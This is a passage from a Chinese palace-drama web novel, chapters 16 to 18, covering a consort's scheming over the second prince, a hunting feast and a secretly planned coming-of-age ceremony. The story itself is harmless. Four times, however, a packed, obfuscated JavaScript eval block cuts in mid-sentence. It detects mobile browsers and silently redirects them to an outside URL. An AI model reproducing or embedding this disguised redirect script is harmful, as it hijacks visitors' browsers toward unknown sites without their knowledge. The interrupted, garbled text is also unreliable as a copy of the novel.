一声清脆的“啪”声下,一个温润剔透的玉杯碎成了数瓣碎片,那碎片落地弹起直直擦过跪在地上之人的脸侧,带出一片血痕。 “没用的东西!宴席比武输给那三皇子也就罢了,背地竟还被他如此耻笑,连带着本宫都丢尽了脸面!” 主位上的女人一身雍容华贵,一双凤眸此刻盛满了愠怒,殿内熏香袅袅,气氛却满是压抑,桌上价值连城的玉杯玉盏被尽数摔碎,底下传来女人断断续续的哭泣声。 “贵妃娘娘,皇儿他今日是莽撞了些,都是因为那纪如愿,他使了诡计才赢了皇儿,皇儿不过是想找他理论,给他一个小小教训,那三皇子却要对皇儿下死手啊,娘娘!” 惠美人紧紧搂着二皇子,眼眶红透,边为他擦去玉杯碎片划出的血痕,边用手帕拭着眼泪,一时泣不成声,嘶哑着向贵妃娘娘伸冤。 贵妃娘娘听了这话,眉梢一挑,扬起下巴,慢慢走近惠美人的身旁,弯腰冷笑道: “下了死手,他怎么没死呢,反而到我这里来叫着冤屈,是要我这个贵妃,替他摆平了三皇子吗?” 纪延澈脸色已是惨白,不敢辩驳,惠美人却是信了贵妃的话,一改刚才的声泪俱下,谄媚道: “娘娘若能摆平那三皇子自是好,便是让他再不能在陛下面前得意,看他如何与我的皇儿争!” “额娘!别说了!”纪延澈声音颤抖,带着明显的颤音,贵妃娘娘的意思分明是讽刺自己办事不利,自己这个额娘却曲解成为他们铲除敌人,莫不是给贵妃娘娘火上浇油,简直愚不可及! “呵,惠美人得了美人的位分,想得也尽是些美事,我看就是因你如此愚钝,才叫二皇子也随了你这做事不计后果的性子。罢了,日后,二皇子由我全权抚养,你不必再与他见面了。” 惠美人错愕地抬头,贵妃娘娘这是要将他们母子彻底分开?!一时失去血色,不住地摇头乞求: “贵妃娘娘,我再不掺合皇儿的事了,您收回旨意吧,皇儿自小在我这个额娘身边长大,我不能没有他啊!” 她声嘶力竭的哭喊着,甚至膝行到贵妃的脚边恳求着,贵妃只是轻蔑地看了她一眼,转而问纪延澈: “你说呢,二皇子,要跟着你那冥顽不灵的额娘,还是要跟着本宫?” 纪延澈低垂着头,好一会儿终于有了动作,对着贵妃重重磕了一个头:“儿臣谨听贵妃娘娘教诲。” 惠美人不可置信地嘶吼出声:“皇儿!”边要向他扑过来,却被贵妃的宫人们拦住。 “皇儿,我才是你的额娘,你不能这么对我啊皇儿!” “住口!额娘……惠美人屡次顶撞贵妃娘娘,实属不敬,如此心浮气躁,便让惠美人回玉华宫,抄写佛经来修养一下心性。”纪延澈不去看她的狼狈,语气冰冷道。 “皇儿,你要禁足我?我是你的母妃,纪延澈!你怎么有权利禁我的足!”惠美人仍被宫人们死死按住,发丝凌乱,声音不自觉地拔高,满是不可置信。 皇子自是没权利禁足妃嫔,这番话即是向贵妃表忠心罢了。 贵妃娘娘轻笑一声,回到主位坐下,抬眸望向那些不为所动的宫人,语气漫不经心道:“得了二皇子的令,就快去做,惠美人也是该调理一下心性了。没有本宫的旨意,谁都不许去看她。” “娘娘且慢!不若让五公主前去陪同惠美人,也好让她安下心来。” “那便让你妹妹陪她抄吧,带走吧。” 惠美人眼神空洞地瘫坐在地上,任由宫人们将其带走。 “贵妃娘娘……不,皇额娘,儿臣愿为您所用,只是有一事相求,惠美人心思单纯愚钝,请皇额娘保她性命无忧,儿臣再无他求。”话罢他又冲着前方重重地磕下头。 贵妃娘娘眼皮轻抬,目光似有若无地扫过他,薄唇轻启: “本宫本就无意要害他人性命,只要你,我的好皇子,赢了权利给我,本宫自然会护着你额娘。只是,若你背叛了本宫,或是输给了他人,不光是惠美人,还有你妹妹,他们一个都不会有好下场,你可想清楚了。” 纪延澈的额头上已布满汗珠,双手下意识握紧成拳,极力压抑着情绪,强扯出一抹笑容,道:“儿臣明白,儿臣遵旨。” “明白就退下吧,本宫乏了。” “是。” 纪延澈退至殿外,深深嵌入掌心的指甲昭示着当事人的愤怒,可他浑然不觉,只是死死盯着前方,喃喃道:“纪如愿,纪如愿,都是因为你!我定会让你好看,让你受比我今日百倍多的痛苦和侮辱!” “嘶!阿颜,轻一点好不好。”杜欢颜正拿着伤药,轻轻涂在纪如愿脸上的伤痕上。 “那二皇子也真是的,怎么还往人脸上划,我们如愿这副好面皮儿若是留了疤,可不让人心痛死。”淑妃娘娘正一边抱怨着,一边给他们二人一人喂了一个蜜饯。 “好啦娘娘,我也还手了的,没吃亏。只是很奇怪,二哥之前从未对我有过如此大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949430|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恶意,今日宴席上,他与我便不似寻常比试,处处都像是用了十成十的功力,有几次我竟无还手之力,实在是费解。” “还能是为什么,便是他背后之人按耐不住了罢。”淑妃娘娘语气云淡风轻,也给自己塞了个蜜饯。 “二皇子的背后之人?惠美人吗?”说来惭愧,杜欢颜对这一群人的印象还停留在,他的胞妹五公主欺辱二人,后来在破庙被捉弄,这几个月都安静如鸡,见了他们如同见了瘟神一般,唯恐避退不及。总不能那惠美人是为了给自己女儿报仇,就让儿子再去使绊子吧。 “想什么呢小欢颜,那惠美人平日虽娇纵,在皇子争斗中却没什么心眼,她虽是二皇子的亲生额娘,但在二皇子的培养之事上却另有他人相助,她最多在旁边扇个风点个火,掀不起什么风浪。” “他人?难道是,贵妃娘娘?”这猜想一出,欢颜如被重锤敲响,一切事件都串联起来。 淑妃颇为惊讶地看着她,复又赞许地摸摸她的头发,开口道: “小姑娘挺机灵呀,都没听过几次这个名号,就把事情串起来了,没错,是她。贵妃一族为开国良将,多年来却一直受官家猜忌,陛下当年娶她时就给了她妃位,宠爱有加,端的那叫一个情深意切,却在她有孕后设计她流产,此后便是珠胎再难结。 她心中有恨,为了家族却不得不忍让。只是膝下无所出,家族终有护不住她之时,她便起了培养其他皇子的心思。那时的惠美人出身低微,生下了二皇子也只是个御女,大皇子的娘—皇后视她为眼中钉,一直想除掉她。贵妃就在那时对他们母子二人抛出了橄榄枝,之后她得了皇上宠爱,在贵妃扶持下又得了美人的位分,生下了五公主,皇后也不能轻易动她。二皇子自两岁起就是贵妃宫中的常客了,说是她一手培养的也不为过。” “所以是贵妃娘娘想让他对我动手?可宴席上多少双眼睛都盯着,这般做法未免太过引人注意。 “如愿,这你就错了,他今日所作所为,想来贵妃是不知情的。还记得你之前得了陛下称赞和赏赐吗?贵妃眼线众多,想必已是传到她那里去了,一直以来她都只把大皇子和皇后作为对手,突然有其他皇子出了风头,她心中定然不快,将怒火迁怒于惠美人,纪延澈想必是因为此事,才用尽浑身解数想要压过你,不成想却输给了你,恐怕他此时正被贵妃训斥呢。” 淑妃娘娘顿了顿,神色有些凝重,叹道:“如愿,你日后恐怕会有很多麻烦了,切记,万事小心。” “娘娘的嘱托,儿臣明白。” 气氛突然凝重起来,方才一直叽叽喳喳搭话的杜欢颜沉默了许久,突然开口:“娘娘,您想不想吃糖葫芦?我和宫人们学的,和外面的口味可像了,您要不要尝尝?” 淑妃娘娘轻轻抬了一下眉,勾唇道:“是吗?小欢颜还会这个,那我可得尝尝!” “阿愿,我宫里有冰糖和山楂,可以帮忙拿过来吗?” 纪如愿微微点头,心下了然,阿颜此番话,便是有事要单独与淑妃娘娘商量,需得支开自己,于是毫不犹豫应下:“好,那我去去就回,阿颜你和娘娘稍等我一会儿。”便离开了。 “小欢颜,想知道有关如愿母妃的事吗?” 16.若落入此间险境 杜欢颜凑近了些,笑眼盈盈:“娘娘还真是料事如神。” “你这小丫头,话术转变的也太生硬,亏得我们两个都愿意配合你,问吧,我知道的事,都告诉你。” “就知道娘娘最好了!您方才提到,贵妃娘娘自己没有子嗣,便自二皇子两岁起开始培养他。若我没记错的话,二皇子就比阿愿大了两岁,那时的阿愿应是刚出生,不久后母妃去世,若贵妃娘娘需要一个孩子,何不带走阿愿,或是在阿愿母亲染病之时向他们施以援手,这样的恩情换来的孩子,岂不是更能为己所用?为何她却舍近求远去找了别人,娘娘,我不明白。” 淑妃罕见地默了声,良久后叹了口气,道:“这我不能告诉你。” “为何?”杜欢颜有些心急,只差这一点,所有事情就能理清了,“娘娘,您刚才还说对我知无不言的。” 淑妃抬起拧了一下眉头,无奈地轻叹着:“小欢颜,有时候太过聪明,也不是件好事,我若是说了,便是将你也置于危险之地。” “我不怕的,还请娘娘告知与我。” “小欢颜,你本不是虞国之人,更不必牵扯进这些事,你还要回家,若是因此陷入危险的境地,你又如何再与家人团聚呢?” 杜欢颜犹豫了,是啊,虞国皇室之事本就不是她该掺合的,她只要安安心心当她的大使,等容国接她回去继续做无忧无虑的小公主就好了。 只是…… “只是娘娘,我可以不知晓这些事,可是阿愿该怎么办呢?” “如愿他与你不同,他是皇子,这合该是他要面对的,你与他不同,况且自从同他在一处,你遇到了多少不必要的麻烦,那些人从不是冲着你来的,你却一直陪着他受罪,这点你比我更清楚吧,小欢颜。” “娘娘!我知道,我知道这会给我带来麻烦,可是您知道吗,若我不去接近他,只是避开那些危险,可我又如何能撑到归家之时,若没有阿愿,我便始终是,一个人啊。 娘娘,我从不是个多勇敢的人,可我为了父兄和姐姐,还是只能来到这里,我不知要在虞国皇宫搓磨多少年才能等到回去的消息后,又或者一辈子都要困在这。您合该理解我的,您也被困在这了,身边没有理解的人,您也很痛苦,不是吗。” “本就不该是你……罢了,罢了,你若执意如此,本宫也拦不住,但是,本宫也不能放任你因后宫之事陷入险境,所以想从这里打探消息,还是免了。本宫乏了,小欢颜,跪安吧。”这是在赶她走了。 杜欢颜郁闷地出了淑妃宫殿,这还是淑妃娘娘第一次同她说话语气这么重,看来是真的什么都不打算告诉她了。 她叹着气,在转角处却直直碰上纪如愿,他好像刚匆匆来到,又好像一直站在那里。 “阿愿你,什么时候来的?” “我才刚到就撞见你了,怎么出来了,不吃糖葫芦了吗?”纪如愿微微喘息着,确实是匆匆赶来的样子。 “嗯,淑妃娘娘说她今日有点累了,我不想打扰她,就出来了,糖葫芦……我们回去一起做吧,等下去拿着做好的送给娘娘尝。” “好啊,那我们回去吧。” 殿内,有人从暗中现身,敛了声音,宽大的帽檐遮盖着面孔,只依稀知道是个女子。 “娘娘为何不直接告诉那小殿下?” 淑妃语气似有疲敝,无奈道:“此事牵扯太大,让她一个小姑娘听了,背地里不知又要搞出什么事来,纵然她再聪慧,也不过是涉世未深的孩子,我如何放心的下。” “娘娘原是担心小殿下的安危,若是如此,她与三皇子交情颇深,恐怕会让让人多心。” “已经不是恐怕了,旁人已经将她二人捆绑在一起了,罢了,且随他们去吧,大不了是多费些功夫,一个小姑娘,我还是护得住的。” “恕奴婢多嘴,娘娘为何从一开始就对小殿下偏爱有加?” 淑妃轻轻地笑了声,开口声音却比笑更轻,仿佛是自言自语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951800|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“阿颜啊,那么聪慧勇敢,又有生命力的小姑娘,不该被困在这。” 那人也轻轻应了声,便再次引入黑暗,独留淑妃一人,她轻轻合眸,不知是真的疲惫,还是陷入了何时的回忆中。 阿颜啊…… “阿若!我们回来啦!”杜欢颜远远就看见了阿若,快步扑进她怀里撒娇道。 “阿愿今日得了魁首,你都不知道当时局势有多紧张,被他强行逆转,可厉害了!” 阿若虚虚搂着怀里的公主,边附和着她,边望向三皇子打算说些恭喜的话。 只是眼尖的阿若一眼便望见了不寻常之处, “三殿下,您的脸,是受伤了吗?” “这个啊……只是不小心被树上的叶片划到了,不打紧的。” “什么样的叶片会锋利到只是经过便划伤人,殿下,您可不要糊弄奴婢!” “诶呀阿若,真不是什么大事,就是,就是那个二皇子,他输给阿愿还不服气,背后搞偷袭,不过被阿愿制服了,我们完胜!”杜欢颜也忙避重就轻的和阿若解释着。 “偷袭?殿下,他没伤到你吧!快让我看看!”说着便把小公主从怀里捞出来,细细检查着。 杜欢颜也乖乖配合着,还主动撩开袖子方便她看一些有衣服遮挡的部位,待阿若全部细细检查完,松了口气后,又撒着娇: “看吧,我没事啦,他那点三脚猫的本事怎么可能伤到我,你家公主殿下是多厉害的人呀!” 阿若放下心,转头又去忧心纪如愿:“三殿下,您的伤处理了吗?” “别担心,已经在淑妃娘娘那里上过药了。” “哎,又让我们两个殿下受了委屈了,还好我今日同厨子说了多做了两碗烧肉,正巧呀缓解心情。” “有烧肉!阿若你也太好了!”杜欢颜欣喜若狂地就拉着纪如愿冲向了厨房。阿若望着二人的身影,只得一遍遍说服自己,这是自家殿下,她开心就好,不干预,不干预。 17.醉酒?心动? 秋意散尽,乍暖还寒之时,皇宫围场终于迎来一年一度的狩猎宴。 各路皇氏宗亲、达官显贵们陆续骑马抵达此地。与以往不同,在一群早已熟络的贵族中多了一个生面孔—三皇子纪如愿。 因得他从前默默无闻,大多数权贵都不理会他,有些在暗暗打量他,也有一些人已经开始了窃窃私语, “往年出席猎宴的不都是大皇子和二皇子吗,前不久大皇子不是去巡视苏州了吗,那今年就该由二皇子出席,这三皇子又是从何冒出来的?” “我可听说了,三皇子在秋日宴上拔得了头筹,这才能来参加猎宴。” “他赢了二皇子?不能吧,从未听闻陛下提起过这位皇子啊?” 纪如愿面色如常,仿佛这些话语没有落入他的耳朵,只轻轻摸摸马背,默默握紧弓箭。 一声号角声划破长空,狩猎正式开始。 纪如愿一马当先,驾着马匹冲进山林,其他人也紧随其后,一时之间,弓箭破空声此起彼伏,交织一片。 他深入山林,从马上跳下,敛了声音,脚步轻盈如风,目光如炬,在深山迷雾中探寻着。 终于,在前方的树丛后,一团白色若隐若现。怕惊扰了它,纪如愿不再靠近,弯下腰,缓缓拉开弓箭。在那团白色从树后冒出头时,利箭也随之射出,正中白狐身体。 余晖渐消,暮色苍茫,权贵们各种带着自己的猎物回到围场营地,毫无疑问,猎物最多又射中白狐的纪如愿为猎宴魁首。 皇帝端坐主位,笑意渐深:“今日猎宴,诸位皆显身手,预备好酒好菜招待,及狩猎所得鹿肉、兔肉与各位共享!”他又转头向纪如愿,道:“吾儿纪如愿,箭术精湛,初登猎宴便得魁首,朕心甚慰,赏黄金千两外,朕再特许你一件其他赏赐。” 纪如愿走到皇帝面前,恭敬行礼,语气不卑不亢:“儿臣谢父皇称赞,日后定当竭尽全力,不负父皇期待。” 皇帝心情大好:“好,不骄不躁,实属可贵,来人,赐酒!” 身旁的大太监立刻端上一支玉杯,盛满醇厚酒业。 纪如愿谢过恩,接过酒杯一饮而尽,奈何他从未喝过酒,辛辣的液体涌进喉咙,一时激得他想要咳嗽,又生生忍下去,面上即刻泛起了红。周围的权贵也趋炎附势的凑过来,夸他豪迈又有气度。 周遭赞叹不绝,酒气上头,纪如愿轻轻晃了晃头,对意欲同他攀附交谈的贵族们摆摆手,再次向皇帝行礼开口: “父皇,今日虽有佳肴宴席,奈何儿臣年岁尚小,自认为不可过早贪慕此等享乐之事,而是应加强技艺,文策武学都应兼顾,望父皇准儿臣先行离开。” “好,你小小年纪便有如此心思,一心向学,实乃皇家之幸,朕准了,今日宴席实为魁首而设,今你提前离席,来人,将那鹿肉赐给三皇子。” “谢父皇”纪如愿又行了一礼,转过身对着大臣权贵们致歉:“先行告辞,不能与诸位把酒言欢,还望各位海涵,来日定向各位亲自赔罪。”语气谦卑,言辞恳切,任谁也无法挑出错,只叹这三皇子果真不一般。 杜欢颜正在屋内和阿若闲谈着,忽地听到屋外传来马蹄声,正欲开门瞧上一瞧,就被从外拉开门的纪如愿抱了个满怀。 “阿愿,狩猎结束不是会有宴席吗,怎么这么早就回来了?”杜欢颜扶着他,贴近时闻到了他身上的酒气,“阿愿你喝酒了?” 纪如愿不语,被酒气烧红的脸在看见杜欢颜那一刻愈发红,偏偏这人还无知无觉的,还冲着她一直笑,与方才宴上淡漠疏离的三皇子简直判若两人。 “阿颜,我给你带了鹿肉,你要不要吃呀!”杜欢颜无视他的傻笑,想去煮醒酒汤,却被他拽住了衣袖,无奈之下唤了阿若去,自己也坐到他身旁。 “你喝了多少呀,脸红成这样?”“一杯。” 杜欢颜有些想呕血,一杯!她还以为他喝了得有几壶,怎么流量差成这样。 纪如愿一手还紧拽着她的袖子,一手拎着鹿肉,“阿颜,我给你带了鹿肉,你怎么都不夸我呀!”他委屈嘟囔着,又把那鹿肉往阿颜面前递。 “停停停,这是生的,得烤了才能吃,我拿去给厨房,阿愿在这里等等我好不好?” “不好!”他莫名较上了劲,就是不愿松开她。 杜欢颜觉着他这副酒精上头的可怜模样当真是有趣极了,缓和着声音轻哄着:“阿愿最厉害了,最好了,不光武艺出众,还时刻想着我,给我带吃的,我可高兴了。可是我好想知道阿愿在猎宴上的卓越风姿呀,所以呀,我得去拿醒酒汤给阿愿,好让阿愿清醒了讲给我听,好不好?” 纪如愿听完,终于心满意足地松开手。杜欢颜不禁想,怎么和小孩子一样,还要人哄的,又接过他手中的鹿肉拿去给了厨房,便去帮着阿若敖醒酒汤了。 待她端着醒酒汤进来,纪如愿已经清醒了一半,只是脸上仍泛着红晕。喝完了醒酒汤,又缓了好一会儿,脸上热意仍是不消,甚至有愈演愈烈的架势,惹得杜欢颜怀疑莫不是谁往醒酒汤里兑了酒。 “阿愿,怎么脸还这样红,醒酒汤不管用吗?” “不是的,”纪如愿语气有些踟蹰,“我已经没事了,阿颜。” 杜欢颜疑惑着,脸上这么红,怎么看都不像是没事的样子,只是看他支支吾吾的样子,她眼珠一转,突然料想到,他莫不是在为了刚才的事害羞?于是沉了嗓音,学着纪如愿的声音说:“阿颜,你怎么不夸夸我呀?” “别!阿颜,别羞我了!”纪如愿慌里慌张地想去捂杜欢颜的嘴,手却在刚碰到她脸侧时紧急转了个弯,捂住了自己的脸,旁边的杜欢颜已是笑作一团。 阿若端着烤好的鹿肉进来时看到的便是这般嬉笑的场面,杜欢颜笑着拉过阿若:“来来来,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955371|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若也一起吃!”不容她回答,嘴里就被杜欢颜塞了一块鹿肉。 “所以阿愿,你是为何回来的这样早?” 纪如愿听她一问,又扬起了一个得意的笑脸,道:“本来是有宴席的,不过我是今日猎宴魁首,主动向父皇请旨早些回来,说了几句漂亮话,他一高兴就允了。” “魁首?阿愿好厉害!那他有没有给你什么赏赐?”杜欢颜眼睛都亮了,着实地替他高兴。 “父皇赏了我黄金,还许一个别的赏赐,至于是什么……之后再告诉你。”纪如愿故意卖了个关子,看着杜欢颜愈发好奇的脸,轻笑着。 几人吃饱喝足,杜欢颜还想送他,纪如愿却以更深露重为由止住了她,只说让阿若送自己到宫门外便可。杜欢颜允了,阿若跟着他到了宫门,不等他询问,便自顾自开口道: “三殿下,可是有事想问?” 纪如愿微微一怔,轻摇着头,语气有些许感叹:“阿若,你跟着阿颜久了,性子都有些像她了,不等我开口就知道我有事要问。”他顿了顿,随即道:“下个月便是阿颜的十五岁生辰了,你们可有准备?” 阿若摇摇头,道:“还未曾准备。小殿下刚到虞国那年,我们张罗着想为她庆贺生辰,她却只说自己的生辰不是个好日子,冷着脸让我们把东西撤下了,也不再让我们为她的生辰庆贺,所以奴婢想,小殿下或许是不喜过生辰。” 纪如愿叹息一声,徐徐道:“她哪是不喜欢生辰,当年容国战败的消息也是在一个月后,应是在她生辰前后,那之后又没几天她就来了虞国,想来是因为这个,她才不喜自己的生辰。” 阿若若有所思道:“怪不得,殿下虽不喜提自己的生辰,却每每在我们这些下人生辰之时送上贺礼,原是这样。” “只是她虽不愿提及,可这毕竟是她的及笄之时,还是应有仪式才好。她在这里没有亲人,若是旁的人来为她主持仪式,恐她会厌恶,所以明日我想去找淑妃娘娘,她同阿颜亲近,应是愿意为她加笄的,而你,阿若,阿颜向来都把你看作姐姐,由你来做其他的准备,最合适不过了。” 阿若这几日也在为着自家殿下的及笄礼犯着愁,听了三皇子的想法,觉得妥当,满口答应下来。 纪如愿一直凝重的神色也终于有所缓和,冰凉的嗓音也带上些柔和:“那便麻烦阿若了,只是及笄礼之事,烦请向阿颜保密,她向来不愿麻烦他人,所以此事还是不知情的好。” “三殿下放心,阿若定当守口如瓶。淑妃娘娘那边,也麻烦殿下了。” “这是自然。” 第二日,纪如愿早早就来到淑妃宫门口,门口却早有下人在此等候迎接:“三皇子请进吧,淑妃娘娘也在等您。” 淑妃倚靠在美人榻上,优哉游哉地喝着茶,见他来了,勾起唇角:“如愿来啦,今日来是要同我商议小欢颜及笄之事吧,坐吧。” 18.及笄礼 纪如愿眼中闪过一丝诧异,“在此之前,儿臣有个问题,为何你们都能一眼看出儿臣心中所想,您是,阿颜是,就连阿若都是。” 淑妃娘娘撑着头故作思考,随即轻快地道:“也许是因为,如愿你把心思都摆在了脸上吧!” “呃!”淑妃如愿看到了他惊谔的表情,忍着笑意,不再逗他:“好啦,不和你开玩笑了。你这同小欢颜一般爱强撑的性子,平日里都不愿让我多帮忙,今日却一反常态地主动来找我,那必然是与小欢颜有关的事了。而且呀,可不光是你,我也早就同阿若问过小欢颜的生辰在何时了,这么多年都没给她办过生辰礼,今年得好好补上才行呀!” “既然娘娘已知晓此事,儿臣便也不跟您客套了。阿颜她同您最是亲近,我想她的及笄礼由您来主持,她一定会开心的,还望娘娘帮忙。” “及笄礼呀,虽然我没主持过,但既是小欢颜的事,我自是十分愿意的,待我稍后派人去礼部问清具体的流程和事宜,你也和我一起准备吧。” “多谢娘娘!”纪如愿抬手行了个揖礼,又道:“只是还望娘娘暂且对阿颜保密,我怕她知晓后会拒绝,只是成人礼很重要,她人生中已经少了很多仪式了,不能再少了。” “嗯,这是自然。”淑妃含笑应着,又慨叹道:“想我初见你们之时,还都是十一二岁的小娃娃,一晃眼呀,小欢颜都成大姑娘了。”她突然瞟了眼纪如愿,眼中笑意更深,“说来,如愿你也十七岁了吧?” “回娘娘,是。”纪如愿有些奇怪,话题怎么拐到自己身上了,如实答着,只是下一秒淡然的神色就被打了个稀碎。 “那是不是能娶亲了?你几次崭露头角,估么呀,很快就会安排给你相看良人了!” “娘娘!您别瞎打趣我!况且二哥也还未成婚,我更是无意此事。”他急得脸红了大半,逗得淑妃又是一阵儿笑。 “停,别用你二哥挡箭,这聊着你呢,如愿究竟是无意此事,还是已经心有所属,不好意思呢?” 纪如愿只是微微低着头,也不答,心思已飘到九霄云外。 “行了行了,我不问了,你这孩子,越大反而越像个闷葫芦了,说起话来都一板一眼的,还不禁逗,待会儿啊顶着大红脸回去,回头小欢颜又该说本宫欺负你了。” “等等,娘娘!还有一事相求,可否帮我挑选一套钗环首饰。”他声音低低的,仍是低着头,恐旁人看见自己愈渐滚烫的脸。 “……,刚不该说无意此事吗?”淑妃娘娘顿感无奈。 “不是那个意思。此为儿臣的私事,也麻烦娘娘……” “行行行,保密保密,知道啦!” …… 杜欢颜觉得他们有事瞒着自己。 先是淑妃娘娘,自己想去陪她聊聊天,结果十有八次都被娘娘以忙为由推脱了。也是,马上又要举行春宴了,淑妃娘娘忙点也是合理的。 再是阿若,以往自己要出门,阿若都会第一个跑来交代一大堆,什么“不要去危险的地方呀”“小心不怀好意的人啦”“早点回家啦”“衣服是不是穿少啦”之类的话,最近几日竟是频频催促自己出门玩玩,看看风景,还说什么公主大了要广结善缘,阿若,你真的觉得这个宫里能结到什么善缘吗。杜欢颜在心里吐苦水。 不过杜欢颜确实也总劝阿若不必太过担心她,这会子如她所愿了,她理应放松理解才是。 只是,就连她宫里的厨子都忙忙碌碌的,每天不知研究什么新菜色,还慌慌张张遮遮掩掩的不给她看,她想开个小灶都没人理她。 好吧,可能厨子要为宴席献菜,也可以理解。 若是前面一干人,杜欢颜倒都可以说服自己,他们是有更重要的事情忙碌,那连阿愿都很少陪自己,这就不能忍了! 他倒是没扯别的理由敷衍自己,只是说最近在准备一些事,暂时不能告诉她,要她等等。 气!气!气!阿愿对自己有秘密了,阿愿不信任她了,这简直就和二姐话本子里写得一样嘛!两人一旦有了秘密,紧接着就是一连串的误会。 犹记得当年二姐写完自己的大作,就兴冲冲拿给她和大姐看,结果收获了两个人的不理解。 “二姐姐,他们有误会为什么不说开呢?”小小的杜欢颜还不懂话本子,但是自己如果犯了错,一定会第一时间道歉认错的。如果大哥帮忙顶罪的话会第二时间。 “颜颜,这你就不懂了吧,有误会才有泪点,这种情节才深入人心呢!学着点!” “停!”大姐直接拿走话本打断她:“杜长乐,别带坏颜颜!有误会不能隐瞒,这才是好孩子,知道吗?” 小小的杜欢颜不懂为什么深入人心的故事需要误会,只是依靠感觉认同了大姐。 时至今日她依旧不理解误会为什么一定要产生,不过她有了点眉目,兴许是世上的其他人也同自己一般爱胡思乱想吧! 所以她决定直接找纪如愿问个清楚。 没什么比真相更能安抚人心了。 但是她还是要拿出一副怒气汹汹的模样,吵架要有气势,这样没理也硬三分!这部分是和大姐学的。 她来到纪如愿的宫门口,一把推开门。 只是似曾相识的,又被眼前人撞了个满怀。 只是今时不同往日,气势有些过足了,脚步迈大了,把自己连带着纪如愿一起扑到了地上。 “好痛……阿颜?你是来找我的吗?我正要去寻你呢!”纪如愿揉着磕到的脑袋,看清来人后,惊喜之余还有欣喜,幸好是自己当了这个肉垫。 “对不起阿愿,我走得太急了!你要来寻我?寻我做什么?”她早已忘了自己要保持气势,上前替他揉着磕到的头,“痛不痛呀?” 纪如愿摇摇头,起身也把阿颜扶起来:“我想,你或许会因为我最近有点疏远你而胡思乱想,虽然本不应该提前告诉你的,但是透露一点点总归可以。其实,是有一个惊喜给你……你就当是我这个弟子对师父的谢礼好了,其他的就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959120|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能说了。” 胡思乱想?惊喜?谢礼?一连串消息在杜欢颜脑子里炸了个烟花。 “所以你们是在为我准备惊喜,才忙忙碌碌还躲着我的吗?” “是,阿颜把它当作徒儿孝敬师父的吧!别的真的不能说了!你也不要自己乱想好不好,你那么聪明,我怕因为我提前透露的缘故,你猜到了会没那么高兴。” “知道我聪明,那你怎么还告诉我?”杜欢颜反问道。她现在开心极了,至于开心的理由,也许是爱瞎想的女主角遇到了爱剧透的说书先生吧。 “我觉得比起其他,阿颜你的感受最重要。本来就是我擅作主张要为你准备的,还带上了其他人一起,是想让你高兴没错,但若是因此就忽略你的感受,那就得不偿失了。你这段时间也一直在想这些事,对吗?现在我告诉你了,请放心吧,阿颜。” “好吧,好吧,不过呢,我可能只会催眠自己个几天,过个几天若是我自己想出来了缘由,你可不能怪我了,毕竟你这个借口想的真是着实的烂呀!” “几日够了。”纪如愿笑着,微微俯身,面若桃花,温润如玉,“不会让你久等的,阿颜。” 三日后,杜欢颜果真等到了她的惊喜。 崇文十六年,虞国再次降下了大雪。 杜欢颜一早就被阿若喊了起来:“殿下!醒醒,下雪啦!” 什么?下雪啦!原本还在睡梦中的杜欢颜一下子弹了起来,她有五年都没见过雪了,都快忘了雪怎么玩了。 “快快快阿若,快帮我找衣服,我要去堆雪人!”杜欢颜火急火燎的,恨不得就这样冲出去,阿若淡定地把她摁住,又拿出一套华丽的裙子,要替她宽衣。 “穿这个?阿若你确定吗?这样裙摆会湿答答的。”看上去能用来扫雪。 “殿下,今天有更重要的事,您先稍安勿躁,等一切结束了再玩也来得及,我已经吩咐了宫人们先不要铲雪,您安心装饰吧!” 嗯?更重要的事?莫不是阿愿说的惊喜!那不得不好好装扮一番了。 只是这裙子着实是繁琐,光是穿戴好裙子上的配饰就用了好长时间,接下来还要束发。 只是梳好了一个相称的发型,阿若就催促着她出门,“阿若,不戴些头饰吗?这样有些头清脚重了吧?” “这您就放心吧,给您都预备着了,只不过不在我这里,我们先出门,一会儿就能见到了。”说着就指挥着宫人们举好伞别淋湿了公主,自己则负责抱着裙摆。 